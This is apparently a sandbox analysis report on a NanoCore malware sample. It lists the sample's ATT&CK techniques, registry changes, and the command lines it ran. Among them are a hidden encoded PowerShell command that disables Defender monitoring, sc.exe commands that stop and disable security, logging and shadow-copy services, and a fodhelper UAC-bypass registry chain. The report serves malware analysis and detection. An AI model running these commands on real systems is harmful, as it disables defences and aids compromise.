nanocore | 1e049c439407ea3556c526b989111e1dafda80f9e9b940db9339858e203dd0d1

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilactv-link.com_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	xoilactv-link.com_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1180	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilactv-link.com_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilactv-link.com_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1592	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	xoilactv-link.com_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilactv-link.com_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilactv-link.com_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	xoilactv-link.com_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4032	net.exe
3252	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2688	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\user32.dll	xoilactv-link.com_nano.exe
File created	C:\Windows\system32\svchost.exe	xoilactv-link.com_nano.exe
File created	C:\Windows\system32\sysupdate.exe	xoilactv-link.com_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilactv-link.com_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	xoilactv-link.com_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	xoilactv-link.com_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3924	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilactv-link.com_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
4816	xoilactv-link.com_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3768	sc.exe
4124	sc.exe
1452	sc.exe
2308	sc.exe
1644	sc.exe
4440	sc.exe
4520	sc.exe
696	sc.exe
3056	sc.exe
4852	sc.exe
2432	sc.exe
4164	sc.exe
1428	sc.exe
404	sc.exe
4168	sc.exe
3052	sc.exe
4804	sc.exe
2416	sc.exe
2532	sc.exe
2240	sc.exe
1092	sc.exe
1072	sc.exe
944	sc.exe
4448	sc.exe
4504	sc.exe
1952	sc.exe
3020	sc.exe
2028	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5108	cmd.exe
2528	cmd.exe
5060	cmd.exe
4540	cmd.exe
3180	cmd.exe
4656	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xoilactv-link.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xoilactv-link.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3124	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3884	NETSTAT.EXE
452	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4208	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2328	vssadmin.exe
3864	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilactv-link.com_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command	xoilactv-link.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilactv-link.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilactv-link.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command	xoilactv-link.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe\" \"%1\""	xoilactv-link.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings	xoilactv-link.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.pdf\ = "PDFBotnet"	xoilactv-link.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilactv-link.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings	xoilactv-link.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv-link.com_nano.exe"	xoilactv-link.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilactv-link.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilactv-link.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell	xoilactv-link.com_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4980	schtasks.exe
684	schtasks.exe
2692	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1180	powershell.exe
1180	powershell.exe
1180	powershell.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe
4816	xoilactv-link.com_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4816	xoilactv-link.com_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeDebugPrivilege	4816	xoilactv-link.com_nano.exe
Token: SeIncreaseQuotaPrivilege	4772	WMIC.exe
Token: SeSecurityPrivilege	4772	WMIC.exe
Token: SeTakeOwnershipPrivilege	4772	WMIC.exe
Token: SeLoadDriverPrivilege	4772	WMIC.exe
Token: SeSystemProfilePrivilege	4772	WMIC.exe
Token: SeSystemtimePrivilege	4772	WMIC.exe
Token: SeProfSingleProcessPrivilege	4772	WMIC.exe
Token: SeIncBasePriorityPrivilege	4772	WMIC.exe
Token: SeCreatePagefilePrivilege	4772	WMIC.exe
Token: SeBackupPrivilege	4772	WMIC.exe
Token: SeRestorePrivilege	4772	WMIC.exe
Token: SeShutdownPrivilege	4772	WMIC.exe
Token: SeDebugPrivilege	4772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4772	WMIC.exe
Token: SeRemoteShutdownPrivilege	4772	WMIC.exe
Token: SeUndockPrivilege	4772	WMIC.exe
Token: SeManageVolumePrivilege	4772	WMIC.exe
Token: 33	4772	WMIC.exe
Token: 34	4772	WMIC.exe
Token: 35	4772	WMIC.exe
Token: 36	4772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4772	WMIC.exe
Token: SeSecurityPrivilege	4772	WMIC.exe
Token: SeTakeOwnershipPrivilege	4772	WMIC.exe
Token: SeLoadDriverPrivilege	4772	WMIC.exe
Token: SeSystemProfilePrivilege	4772	WMIC.exe
Token: SeSystemtimePrivilege	4772	WMIC.exe
Token: SeProfSingleProcessPrivilege	4772	WMIC.exe
Token: SeIncBasePriorityPrivilege	4772	WMIC.exe
Token: SeCreatePagefilePrivilege	4772	WMIC.exe
Token: SeBackupPrivilege	4772	WMIC.exe
Token: SeRestorePrivilege	4772	WMIC.exe
Token: SeShutdownPrivilege	4772	WMIC.exe
Token: SeDebugPrivilege	4772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4772	WMIC.exe
Token: SeRemoteShutdownPrivilege	4772	WMIC.exe
Token: SeUndockPrivilege	4772	WMIC.exe
Token: SeManageVolumePrivilege	4772	WMIC.exe
Token: 33	4772	WMIC.exe
Token: 34	4772	WMIC.exe
Token: 35	4772	WMIC.exe
Token: 36	4772	WMIC.exe
Token: SeIncBasePriorityPrivilege	4816	xoilactv-link.com_nano.exe
Token: SeDebugPrivilege	2688	tasklist.exe
Token: SeDebugPrivilege	4280	whoami.exe
Token: SeDebugPrivilege	3884	NETSTAT.EXE
Token: SeIncreaseQuotaPrivilege	1876	WMIC.exe
Token: SeSecurityPrivilege	1876	WMIC.exe
Token: SeTakeOwnershipPrivilege	1876	WMIC.exe
Token: SeLoadDriverPrivilege	1876	WMIC.exe
Token: SeSystemProfilePrivilege	1876	WMIC.exe
Token: SeSystemtimePrivilege	1876	WMIC.exe
Token: SeProfSingleProcessPrivilege	1876	WMIC.exe
Token: SeIncBasePriorityPrivilege	1876	WMIC.exe
Token: SeCreatePagefilePrivilege	1876	WMIC.exe
Token: SeBackupPrivilege	1876	WMIC.exe
Token: SeRestorePrivilege	1876	WMIC.exe
Token: SeShutdownPrivilege	1876	WMIC.exe
Token: SeDebugPrivilege	1876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1876	WMIC.exe
Token: SeRemoteShutdownPrivilege	1876	WMIC.exe
Token: SeUndockPrivilege	1876	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4816	xoilactv-link.com_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 1180	4816	xoilactv-link.com_nano.exe	86
PID 4816 wrote to memory of 1428	4816	xoilactv-link.com_nano.exe	87
PID 4816 wrote to memory of 404	4816	xoilactv-link.com_nano.exe	89
PID 4816 wrote to memory of 1952	4816	xoilactv-link.com_nano.exe	91
PID 4816 wrote to memory of 3020	4816	xoilactv-link.com_nano.exe	189
PID 4816 wrote to memory of 2240	4816	xoilactv-link.com_nano.exe	96
PID 4816 wrote to memory of 1092	4816	xoilactv-link.com_nano.exe	98
PID 4816 wrote to memory of 4440	4816	xoilactv-link.com_nano.exe	100
PID 4816 wrote to memory of 4520	4816	xoilactv-link.com_nano.exe	102
PID 4816 wrote to memory of 696	4816	xoilactv-link.com_nano.exe	104
PID 4816 wrote to memory of 3056	4816	xoilactv-link.com_nano.exe	106
PID 4816 wrote to memory of 2028	4816	xoilactv-link.com_nano.exe	108
PID 4816 wrote to memory of 4168	4816	xoilactv-link.com_nano.exe	110
PID 4816 wrote to memory of 4852	4816	xoilactv-link.com_nano.exe	112
PID 4816 wrote to memory of 3768	4816	xoilactv-link.com_nano.exe	114
PID 4816 wrote to memory of 4124	4816	xoilactv-link.com_nano.exe	162
PID 4816 wrote to memory of 1452	4816	xoilactv-link.com_nano.exe	166
PID 4816 wrote to memory of 3052	4816	xoilactv-link.com_nano.exe	120
PID 4816 wrote to memory of 1072	4816	xoilactv-link.com_nano.exe	122
PID 4816 wrote to memory of 2432	4816	xoilactv-link.com_nano.exe	124
PID 4816 wrote to memory of 944	4816	xoilactv-link.com_nano.exe	126
PID 4816 wrote to memory of 2308	4816	xoilactv-link.com_nano.exe	128
PID 4816 wrote to memory of 4164	4816	xoilactv-link.com_nano.exe	130
PID 4816 wrote to memory of 1644	4816	xoilactv-link.com_nano.exe	132
PID 4816 wrote to memory of 4804	4816	xoilactv-link.com_nano.exe	134
PID 4816 wrote to memory of 1708	4816	xoilactv-link.com_nano.exe	136
PID 4816 wrote to memory of 2416	4816	xoilactv-link.com_nano.exe	137
PID 4816 wrote to memory of 4448	4816	xoilactv-link.com_nano.exe	139
PID 4816 wrote to memory of 3864	4816	xoilactv-link.com_nano.exe	141
PID 4816 wrote to memory of 4772	4816	xoilactv-link.com_nano.exe	143
PID 4816 wrote to memory of 4980	4816	xoilactv-link.com_nano.exe	145
PID 4816 wrote to memory of 684	4816	xoilactv-link.com_nano.exe	147
PID 1708 wrote to memory of 3124	1708	fodhelper.exe	187
PID 4816 wrote to memory of 3180	4816	xoilactv-link.com_nano.exe	155
PID 4816 wrote to memory of 4540	4816	xoilactv-link.com_nano.exe	157
PID 4816 wrote to memory of 5060	4816	xoilactv-link.com_nano.exe	158
PID 4816 wrote to memory of 2528	4816	xoilactv-link.com_nano.exe	159
PID 4816 wrote to memory of 5108	4816	xoilactv-link.com_nano.exe	160
PID 4816 wrote to memory of 4656	4816	xoilactv-link.com_nano.exe	161
PID 4816 wrote to memory of 2692	4816	xoilactv-link.com_nano.exe	167
PID 4816 wrote to memory of 3924	4816	xoilactv-link.com_nano.exe	168
PID 4816 wrote to memory of 4832	4816	xoilactv-link.com_nano.exe	170
PID 5060 wrote to memory of 2688	5060	cmd.exe	171
PID 4540 wrote to memory of 4208	4540	cmd.exe	172
PID 2528 wrote to memory of 4280	2528	cmd.exe	173
PID 4656 wrote to memory of 3884	4656	cmd.exe	174
PID 3180 wrote to memory of 2328	3180	cmd.exe	175
PID 5108 wrote to memory of 452	5108	cmd.exe	176
PID 4816 wrote to memory of 4840	4816	xoilactv-link.com_nano.exe	177
PID 4816 wrote to memory of 1592	4816	xoilactv-link.com_nano.exe	179
PID 3180 wrote to memory of 1876	3180	cmd.exe	180
PID 4816 wrote to memory of 2532	4816	xoilactv-link.com_nano.exe	181
PID 4816 wrote to memory of 4504	4816	xoilactv-link.com_nano.exe	184
PID 4816 wrote to memory of 4704	4816	xoilactv-link.com_nano.exe	185
PID 4816 wrote to memory of 3124	4816	xoilactv-link.com_nano.exe	187
PID 4840 wrote to memory of 3020	4840	net.exe	189
PID 4816 wrote to memory of 4032	4816	xoilactv-link.com_nano.exe	190
PID 4816 wrote to memory of 1748	4816	xoilactv-link.com_nano.exe	191
PID 1748 wrote to memory of 3068	1748	net.exe	195
PID 4032 wrote to memory of 3252	4032	net.exe	196

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe
"C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1180
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1428
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1952
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2240
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:2028
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4168
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:4852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:3768
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:4124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:1452
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:3052
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:2432
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:944
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:2308
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4164
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:1644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4804
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
